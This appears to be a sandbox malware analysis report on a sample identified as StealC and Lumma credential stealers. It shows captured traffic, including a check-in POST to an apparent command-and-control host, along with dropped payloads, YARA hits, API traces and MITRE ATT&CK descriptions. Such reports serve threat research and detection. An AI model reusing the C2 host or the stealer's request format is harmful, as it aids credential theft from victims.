fb b1 f9 82 db 2f 8e 38 d3 36 a9 1f Data Ascii: Nvv;bqIqR/e"_p\{.#P$Ozv=kI7.ZX<{m6L7]bQ_hzM%d>J?[PU};8LObuhJO`QdpY@xQjrT,K_DhUl*l=\|/86
2024-12-19 07:35:28 UTC	15331	OUT	Data Raw: de b2 85 00 7a 4f 69 93 e8 7e ef ca 1c 02 91 c7 0b e1 f6 e0 e9 47 97 3d 45 bf 44 ca 33 84 a8 fe 1d e1 3f 63 92 4b 5c 6e 56 7c 39 c3 fb 54 dc bd 3b cb aa 4e 10 fc 4b af 7b 8e 79 f1 2c 84 18 45 7d f2 62 95 9b aa 73 76 27 e0 d0 10 98 a6 17 f6 32 ae ad f0 fd 87 4b a4 99 56 6d 4e ac f0 52 0b fe e0 07 2b 19 d0 b4 1e 50 c9 9c fc 7a 3e 93 33 b1 30 e2 97 5c 9a a8 1d 71 60 3e 29 92 d7 e7 dc e5 74 34 99 2c 8c b7 09 f9 7a eb 43 db b0 b7 2c 90 e3 2c 3c fe 8d 81 43 c4 fc e1 ff 1d e2 b6 06 6e 4c 53 6f 60 e2 50 56 0a 40 df d5 f1 a7 e2 a1 e3 92 79 f6 48 90 e1 6f 35 b6 f6 01 9f 09 d1 4a f5 ad 77 fb b6 78 78 c3 d6 7a 1c 43 d1 f4 7f f5 fc e2 7b 4b e3 92 0d 52 5d 6a 9d b1 3a 5d 4f 4c 50 1c 02 51 0c dc bd e6 5e 3e f4 98 8c 61 ff 36 2e 9d b9 ab 65 6b b4 28 d2 c8 bc b2 ad ef fb Data Ascii: zOi~G=ED3?cK\nV\|9T;NK{y,E}bsv'2KVmNR+Pz>30\q`>)t4,zC,,<CnLSo`PV@yHo5JwxxzC{KR]j:]OLPQ^>a6.ek(
2024-12-19 07:35:30 UTC	1128	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:35:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nn0b1jqpgsk8q4hthf5flbte1n; expires=Mon, 14 Apr 2025 01:22:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iHnjbfMaT8TzDT0E9JEPu%2F65K1n210dsv1jHVFVoFE0YYoul%2BbEXcyEdpB5MbUjOeHCi0HC6NqU5oA8%2FUA46GihH%2Bunw65mVV3gkbWkYB042VWt8yAK3%2BfDEIlSEPudw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45b753cf31f3bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1660&min_rtt=1650&rtt_var=640&sent=345&recv=574&lost=0&retrans=0&sent_bytes=2831&recv_bytes=556049&delivery_rate=1682027&cwnd=80&unsent_bytes=0&cid=b38b37615425b958&ts=2503&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49741	104.21.64.80	443	5412	C:\Users\user\Desktop\niwvNnBk2p.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:35:32 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: grannyejh.lat
2024-12-19 07:35:32 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 31 39 32 46 34 46 32 30 33 38 31 32 38 36 38 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=192F4F2038128686AC8923850305D13E
2024-12-19 07:35:33 UTC	1121	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:35:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fmbrlb1cnr7759gp02bgq25mvd; expires=Mon, 14 Apr 2025 01:22:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mn13Wbf0XeqJgcO%2FbnzZWXgtzVNrO5nLok87K9Fc5xyXgWb4NoVgnxD0cibm%2F%2F3AqRZvEKZfwleVwBH7XSd7uRXuEq1H4RJR%2BlFgElO0SUB1nbNpekMQiYAmGwP2zSDm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45b76bf8d28c89-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=10390&min_rtt=1823&rtt_var=5931&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=979&delivery_rate=1601755&cwnd=202&unsent_bytes=0&cid=b9bb8967a7e49d89&ts=859&x=0"
2024-12-19 07:35:33 UTC	214	IN	Data Raw: 64 30 0d 0a 70 6e 55 65 56 4c 5a 38 57 59 43 66 48 37 67 79 33 57 6c 68 39 49 63 69 47 62 36 6c 62 5a 48 36 58 39 69 63 61 78 50 30 69 57 37 39 44 6a 77 68 6c 45 5a 37 36 4f 74 72 79 41 69 42 52 6a 33 62 74 68 6f 73 6b 4a 64 63 70 4e 52 75 36 61 39 46 49 73 4c 56 51 63 6b 54 65 41 69 5a 47 44 7a 6d 73 58 72 41 56 2f 39 46 51 35 4c 7a 41 43 4f 4f 69 55 2f 30 32 47 58 6f 34 55 64 6f 31 76 78 4d 6e 46 64 32 49 4d 49 4d 59 39 79 77 51 35 63 44 35 56 78 50 78 72 59 58 4e 34 2b 55 58 72 2f 4c 61 59 53 7a 47 47 65 52 36 41 50 36 57 6d 77 31 32 42 67 32 37 62 46 36 77 46 66 2f 52 55 4f 53 38 77 41 6a 6a 6f 6c 50 39 4e 68 6c 36 4f 45 32 0d 0a Data Ascii: d0pnUeVLZ8WYCfH7gy3Wlh9IciGb6lbZH6X9icaxP0iW79DjwhlEZ76OtryAiBRj3bthoskJdcpNRu6a9FIsLVQckTeAiZGDzmsXrAV/9FQ5LzACOOiU/02GXo4Udo1vxMnFd2IMIMY9ywQ5cD5VxPxrYXN4+UXr/LaYSzGGeR6AP6Wmw12Bg27bF6wFf/RUOS8wAjjolP9Nhl6OE2
2024-12-19 07:35:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:35:08
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\niwvNnBk2p.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\niwvNnBk2p.exe"
Imagebase:	0x8d0000
File size:	1'848'832 bytes
MD5 hash:	8803C4A15774785FBE633E17A7406A5C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1412181880.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1412036362.00000000013FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1412605722.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:26:22
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe"
Imagebase:	0x4b0000
File size:	1'719'808 bytes
MD5 hash:	44C034B1AD003CD71788ED1DDE918242
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:26:27
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe"
Imagebase:	0x480000
File size:	2'856'960 bytes
MD5 hash:	54FDA3AEEC860324D9E721BF82B9B350
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.1675138914.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.1671949520.0000000000481000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.1625763000.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 014010B3 Relevance: 2.8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

Strings

;, xrefs: 01401284
aI., xrefs: 014010E2

Memory Dump Source

Source File: 00000000.00000003.1485495246.0000000001400000.00000004.00000020.00020000.00000000.sdmp, Offset: 013FD000, based on PE: false

Associated: 00000000.00000003.1412036362.00000000013FD000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_13fd000_niwvNnBk2p.jbxd

Yara matches

Similarity

API ID:
String ID: ;$aI.
API String ID: 0-2348490359
Opcode ID: e52002a70e03e86a5576318c7a2754613f6037f0ab585e08bd5a8da32233906e
Instruction ID: e20867a0a44d45a2487cb52cc36ebd1e7381539857f624910d7e2512a67ca596
Opcode Fuzzy Hash: e52002a70e03e86a5576318c7a2754613f6037f0ab585e08bd5a8da32233906e
Instruction Fuzzy Hash: 7791337648E3C19FD7538B7488A55817FB0AE1722075E44EBC8C2CF5B3D26D884ADB62

Function 014010B3 Relevance: 2.8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

Strings

aI., xrefs: 014010E2
;, xrefs: 01401284

Memory Dump Source

Source File: 00000000.00000003.1485495246.0000000001400000.00000004.00000020.00020000.00000000.sdmp, Offset: 01400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_13fd000_niwvNnBk2p.jbxd

Similarity

API ID:
String ID: ;$aI.
API String ID: 0-2348490359
Opcode ID: fd08bced8374e5a49b75b6eb0a7dbf4cbbafdcdb11310947807a70b03eaeb8a7
Instruction ID: e20867a0a44d45a2487cb52cc36ebd1e7381539857f624910d7e2512a67ca596
Opcode Fuzzy Hash: fd08bced8374e5a49b75b6eb0a7dbf4cbbafdcdb11310947807a70b03eaeb8a7
Instruction Fuzzy Hash: 7791337648E3C19FD7538B7488A55817FB0AE1722075E44EBC8C2CF5B3D26D884ADB62

Function 01382F18 Relevance: .8, Instructions: 812COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1436311996.000000000137B000.00000004.00000020.00020000.00000000.sdmp, Offset: 0137B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_137b000_niwvNnBk2p.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e44eb12f4113dd778ccae7f51a63bb5668ddddfc195c0ba7801027ed1ca8c09
Instruction ID: 4ec719ef432682b59b3a158c213f2a344a4eafb211e4811be0f70facbbc20122
Opcode Fuzzy Hash: 0e44eb12f4113dd778ccae7f51a63bb5668ddddfc195c0ba7801027ed1ca8c09
Instruction Fuzzy Hash: 5DB1FDA294E3C18FD7539B788C655913FB0AE1362871E00DBC0C0CF1B3E269995AD763

Function 013FC7B5 Relevance: .5, Instructions: 474COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1412564965.00000000013F9000.00000004.00000020.00020000.00000000.sdmp, Offset: 013F6000, based on PE: false

Associated: 00000000.00000003.1460627571.00000000013F3000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_13f6000_niwvNnBk2p.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b5693a941012f68eb394f7fc9a7830ac7d25eb87e0294795f9cdcce42e1cc0c
Instruction ID: 642c8f9b48d54c4a16a74e9b56cb5bce29722bcdc376040a73edeafc31b0f794
Opcode Fuzzy Hash: 0b5693a941012f68eb394f7fc9a7830ac7d25eb87e0294795f9cdcce42e1cc0c
Instruction Fuzzy Hash: C2A18D6248E3C94FD71787748969992BFB0AE1312870E65DFC6C18F4A3D2485C0AD76B

Analysis Process: 72QWSV0N4LEVXR18OCAY5450.exePID: 7616, Parent PID: 5412COMMON

Execution Graph

Execution Coverage:	21.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	9
Total number of Limit Nodes:	0

Executed Functions

Function 04F00D41 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04F00DCD

Memory Dump Source

Source File: 00000009.00000002.1704271781.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f00000_72QWSV0N4LEVXR18OCAY5450.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 8915013d7931a5bd53bccfdbe4fd1ae1442280b9a94a88b4882716b3324f856f
Instruction ID: 956be2d52dc9c35390f86d83835e3904c957fe33c68c4ad2e445463c4247b1bb
Opcode Fuzzy Hash: 8915013d7931a5bd53bccfdbe4fd1ae1442280b9a94a88b4882716b3324f856f
Instruction Fuzzy Hash: 1B2107B6C01209DFDB14DF99E484BDEFBF1EB88310F14862AD908AB245DB34A545CBA4

Function 04F00D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04F00DCD

Memory Dump Source

Source File: 00000009.00000002.1704271781.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f00000_72QWSV0N4LEVXR18OCAY5450.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: ae8771f5f8257602f18d69c122ed7b0d869725d41a4ab83e016c74c03327d0b8
Instruction ID: a9f0f118156c0cb09a6539b76f99aa4e7005a1c13a2b711df6d172960f73ee7e
Opcode Fuzzy Hash: ae8771f5f8257602f18d69c122ed7b0d869725d41a4ab83e016c74c03327d0b8
Instruction Fuzzy Hash: BA2115B6C01219DFDB14CF99D884BDEFBF5EB88310F14822AD908AB345DB34A541CBA5

Function 04F01510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04F01580

Memory Dump Source

Source File: 00000009.00000002.1704271781.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f00000_72QWSV0N4LEVXR18OCAY5450.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 988994bc0b36aa630d56b9c73db049fbbdb8905a5804a290fef8b80217e37350
Instruction ID: e133752332cfc210fbba656d565c2e739e0967435782f55e039dd03de3c84926
Opcode Fuzzy Hash: 988994bc0b36aa630d56b9c73db049fbbdb8905a5804a290fef8b80217e37350
Instruction Fuzzy Hash: 3D11C2B59006499FDB10CF9AC584BDEBBF4EB48320F10802AE959A7250D378A645CFA5

Function 04F01509 Relevance: 1.6, APIs: 1, Instructions: 52
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04F01580

Memory Dump Source

Source File: 00000009.00000002.1704271781.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f00000_72QWSV0N4LEVXR18OCAY5450.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 9044a930441fea38aef5889f064df13265781834c97af1364954e3bb500851fb
Instruction ID: c90dd5bdf8141a32fcbe62a498832b363c55931429b8cc01ab14bbc41a54eacc
Opcode Fuzzy Hash: 9044a930441fea38aef5889f064df13265781834c97af1364954e3bb500851fb
Instruction Fuzzy Hash: 531103B5D00609CFDB10CF9AD584BDEBBF4AB48310F10802AE559A7250C738A645CFA5

Function 04F01301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04F01367

Memory Dump Source

Source File: 00000009.00000002.1704271781.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f00000_72QWSV0N4LEVXR18OCAY5450.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 6b408e46211f9345c67cc5ee5637dfda55a11a111553c6a49fa30f572ad8e486
Instruction ID: 737f8dd63afb85da37d3d515d95a2a2c658e3cc32d6c3d9cbc46ef98bebe2f3a
Opcode Fuzzy Hash: 6b408e46211f9345c67cc5ee5637dfda55a11a111553c6a49fa30f572ad8e486
Instruction Fuzzy Hash: B41113B1800349CFEB20CF9AD584BEEBBF4EF48320F24842AD558A7650C778A545CBA5

Function 04F01308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04F01367

Memory Dump Source

Source File: 00000009.00000002.1704271781.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f00000_72QWSV0N4LEVXR18OCAY5450.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: e6c58b98337266a1c76e8281acb289b75d5786afa299e370ca7161aa6f3e27f2
Instruction ID: 1e7df27eaaa28c637a2f4a9a133208e7b47c6766e9af43f91201b5e3081feea6
Opcode Fuzzy Hash: e6c58b98337266a1c76e8281acb289b75d5786afa299e370ca7161aa6f3e27f2
Instruction Fuzzy Hash: 0F1125B1800249CFEB20CF9AC544BDEBBF4EB48320F20842AD558A3750C778A544CBA5

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report niwvNnBk2p.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

